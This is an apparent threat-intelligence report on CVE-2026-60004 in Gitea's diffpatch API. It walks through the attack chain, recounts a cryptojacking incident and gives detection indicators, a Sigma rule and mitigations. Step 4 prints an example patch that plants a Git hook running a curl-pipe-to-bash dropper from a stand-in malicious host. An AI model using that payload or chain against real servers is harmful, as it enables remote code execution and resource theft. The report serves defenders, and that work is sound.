Background: What is Gitea?

Gitea is a community-managed, self-hosted Git service, written in Go. It is a lightweight alternative to GitHub, GitLab, and Bitbucket, designed to run on modest hardware — a single VPS or Raspberry Pi can host a production instance. It supports repository hosting, issue tracking, pull requests, CI/CD pipelines, and a package registry.

Gitea's popularity has grown significantly in the DevOps and open-source communities because of its low resource footprint and ease of deployment. A default installation exposes a web UI, an SSH endpoint (optional), and a REST API — including the diffpatch endpoint that is the subject of this analysis.

By default, Gitea allows open user registration. Any visitor can create an account, create a repository, and gain the write access required to trigger this vulnerability. This design choice — convenience over security — is the critical enabler for remote exploitation.

The Vulnerability: CVE-2026-60004

Discovered by security researcher Shai rod (NightRang3r), CVE-2026-60004 is a code injection vulnerability in Gitea's diffpatch API endpoint (POST /repos/{owner}/{repo}/diffpatch).

Root Cause

The diffpatch endpoint is designed to apply a patch (diff) to a repository. It accepts a patch file, applies it to the repository's working tree, and — critically — triggers Git hooks during the process. The vulnerability lies in the fact that the endpoint does not sanitize or validate the patch content before allowing Git hooks to execute.

An attacker can craft a patch file that, when applied, installs a Git hook in .git/hooks/. Git hooks are shell scripts that Git executes automatically when certain events occur — post-receive, pre-commit, post-merge, etc. By placing a malicious hook, the attacker gains arbitrary shell command execution as the Gitea OS user.

Attack Chain Walkthrough

The following table breaks down the complete attack chain from initial access to cryptominer deployment:

Step-by-Step Breakdown

Step 1 — Reconnaissance: Attackers scan for exposed Gitea instances using Shodan, Censys, or mass port scanning. Gitea's default port is 3000. The web interface discloses the version number in the page footer, making it trivial to identify vulnerable targets.

Step 2 — Registration: Gitea's default configuration allows open registration — anyone can create an account from the web UI. No email verification is required unless the administrator explicitly enables it. The attacker registers a new account with a disposable email address.

Step 3 — Repository Creation: Once registered, the attacker creates a repository. The API endpoint POST /api/v1/user/repos requires no authentication beyond the session cookie. The attacker now has the write access required to invoke the diffpatch endpoint.

Step 4 — Crafting the Malicious Patch: The attacker creates a diff that adds a file to .git/hooks/post-receive (or any hook directory). The patch content is a standard unified diff, but the "new file" is a shell script. Example:

diff --git a/.git/hooks/post-receive b/.git/hooks/post-receive
new file mode 100755
index 0000000..1234567
--- /dev/null
+++ b/.git/hooks/post-receive
@@ -0,0 +1,3 @@
+#!/bin/bash
+curl -s http://malicious.example.com/dropper.sh | bash
+

Step 5 — Sending to diffpatch: The attacker sends the crafted patch to the diffpatch endpoint. Gitea's server processes the patch via git apply, which does not restrict which files can be modified by the patch. The hook file is written to disk with executable permissions.

Step 6 — Triggering Execution: Git hooks execute automatically when the corresponding Git event occurs. A post-receive hook runs after a successful git push. The attacker pushes to the repository, or simply triggers any Git operation that causes the hook to fire. The hook executes as the Gitea OS user, not as a sandboxed or restricted user.

Step 7 — Payload Delivery: The dropper script downloads a cryptominer binary and executes it. In the real-world incident reported on Habr, the compromised Gitea instance consumed over 70% CPU until the hosting provider (HOSTKEY) intervened and throttled the VPS resources.

Real-World Exploitation: The Habr Incident

On August 19, 2026, a full-stack developer using the handle Andrey (Causelof) published a detailed incident report on the Russian blogging platform Habr. Their Gitea instance, hosted on a HOSTKEY VPS, had been compromised.

The sequence of events:

1. Andrey received an email from HOSTKEY notifying him that his VPS was using over 70% CPU for an extended period, violating the service's terms of service.
2. The hosting provider temporarily limited the available CPU resources to the VPS.
3. Upon investigation, Andrey discovered that an unknown threat actor had registered an account on his Gitea instance, created a repository, and exploited CVE-2026-60004.
4. The attacker's dropper script performed the following actions before deploying the miner payload:
   • Disabled the Gitea service
   • Cleaned the Gitea database
   • Removed the malicious user account
   • Deleted the exploit repository
   • Deployed the miner binary

Andrey noted that Gitea's SSH was not exposed to the internet — the attack vector was exclusively via HTTPS. The exact nature of the mining payload could not be determined, as the developer did not conduct a forensic analysis of the dropper's contents.

Risk Assessment

Why This Matters

CISA KEV Designation

CISA added CVE-2026-60004 to its Known Exploited Vulnerabilities catalog on August 25, 2026, with a deadline of August 28, 2026 for Federal Civilian Executive Branch (FCEB) agencies. This three-day remediation window signals the urgency of the threat.

Default Open Registration

The most concerning aspect of this vulnerability is the default configuration. Gitea ships with open registration enabled. Many administrators never change this setting, especially in small teams or personal deployments where the default is accepted for convenience. An attacker can go from internet-facing Gitea login page to RCE in under 60 seconds.

Cryptojacking at Scale

While this incident appears to be a cryptojacking operation, the same exploit chain could deliver ransomware, backdoors, or data exfiltration tools. The Gitea OS user context — typically running with the same privileges as the web application — provides access to the Gitea database, configuration files, SSH keys, and any other secrets stored on the server.

Detection Opportunities

Defenders can detect exploitation attempts through the following indicators:

Web Server Logs

Monitor for the following patterns in Gitea access logs (typically /var/log/gitea/):

• Multiple rapid registrations from the same IP address or IP range — indicates automated exploitation attempts
• POST requests to /repos/{owner}/{repo}/diffpatch — especially from newly registered accounts
• Sequential requests to /user/sign_up → /api/v1/user/repos → /repos/{owner}/{repo}/diffpatch from the same session

File System Monitoring

• New files created under .git/hooks/ that are not part of the standard Gitea deployment
• Executable files written to .git/hooks/ with suspicious content (shell commands invoking curl, wget, or base64-encoded payloads)
• Unexpected processes running as the Gitea user (e.g., cryptominer binaries)

Audit Logs

• Gitea's internal audit log should show account creation, repository creation, and diffpatch API calls from the same user in rapid succession
• Any diffpatch API call from a non-admin user to a repository they created within the last 60 minutes should be treated as suspicious

Indicators of Compromise

Detection Rule (Sigma)

The following Sigma rule detects exploitation attempts by correlating Gitea web log patterns indicative of the diffpatch attack chain:

title: Gitea CVE-2026-60004 Exploitation via diffpatch API
id: 7a8b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2026-60004 by
             monitoring for suspicious diffpatch API calls from
             newly registered accounts.
author: CyberOSINT Intelligence Team
date: 2026-08-25
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026-60004
logsource:
  category: web
  product: gitea
detection:
  selection:
    cs-method: 'POST'
    cs-uri-stem|contains: '/diffpatch'
  timeframe: 60m
  condition: selection | count() by c-ip > 3
falsepositives:
  - Legitimate patch operations by authorized users
  - CI/CD pipeline operations using diffpatch
level: high

Mitigation & Recommendations

Immediate (Do Now)

• Upgrade to Gitea 1.27.1 or later — the fix is available since July 23, 2026. If you are running any version from 1.17 through 1.27.0, you are vulnerable.
• Disable open registration if not required for your use case. Set DISABLE_REGISTRATION = true in app.ini.
• Restrict API access to the diffpatch endpoint using a reverse proxy (nginx, Caddy) or WAF rules.

Medium-Term

• Audit all existing user accounts for unauthorized registrations. Check account creation dates and correlate with system anomalies.
• Review Git hooks across all repositories. Run find /data/gitea -name '*.git/hooks/*' -type f to list all hooks.
• Enable email verification for new registrations to add friction to automated account creation.
• Monitor CPU usage on Gitea servers and set alerts for sustained high utilization.

Long-Term

• Implement network segmentation — Gitea instances should not be directly exposed to the internet unless absolutely necessary.
• Use a reverse proxy with rate limiting to slow down automated registration and exploitation attempts.
• Enable comprehensive audit logging and forward logs to a SIEM for correlation.
• Consider SSO/OIDC authentication instead of local Gitea accounts to centralize user management and disable open registration entirely.
• Regularly review CISA KEV additions and prioritize patching within the recommended remediation windows.

Analyst Conclusion

CVE-2026-60004 represents a perfect storm of vulnerability characteristics: critical severity, trivial exploitation, default-insecure configuration, and confirmed active exploitation in the wild. The attack chain is simple enough to be automated, and the payload — cryptomining — is financially motivated with clear ROI for the attacker.

We assess with high confidence that automated scanning and exploitation of vulnerable Gitea instances is already commoditized. The availability of four public PoC exploits, combined with the ease of finding Gitea instances via Shodan, means that any internet-facing Gitea server running a vulnerable version with open registration enabled is effectively compromised.

The fact that the attacker in the Habr incident took steps to clean their tracks — disabling the Gitea service, removing the malicious user, and deleting the exploit repository — suggests a level of operational sophistication beyond simple cryptojacking. This same attack chain could be adapted for initial access operations by ransomware groups or APT actors targeting DevOps environments.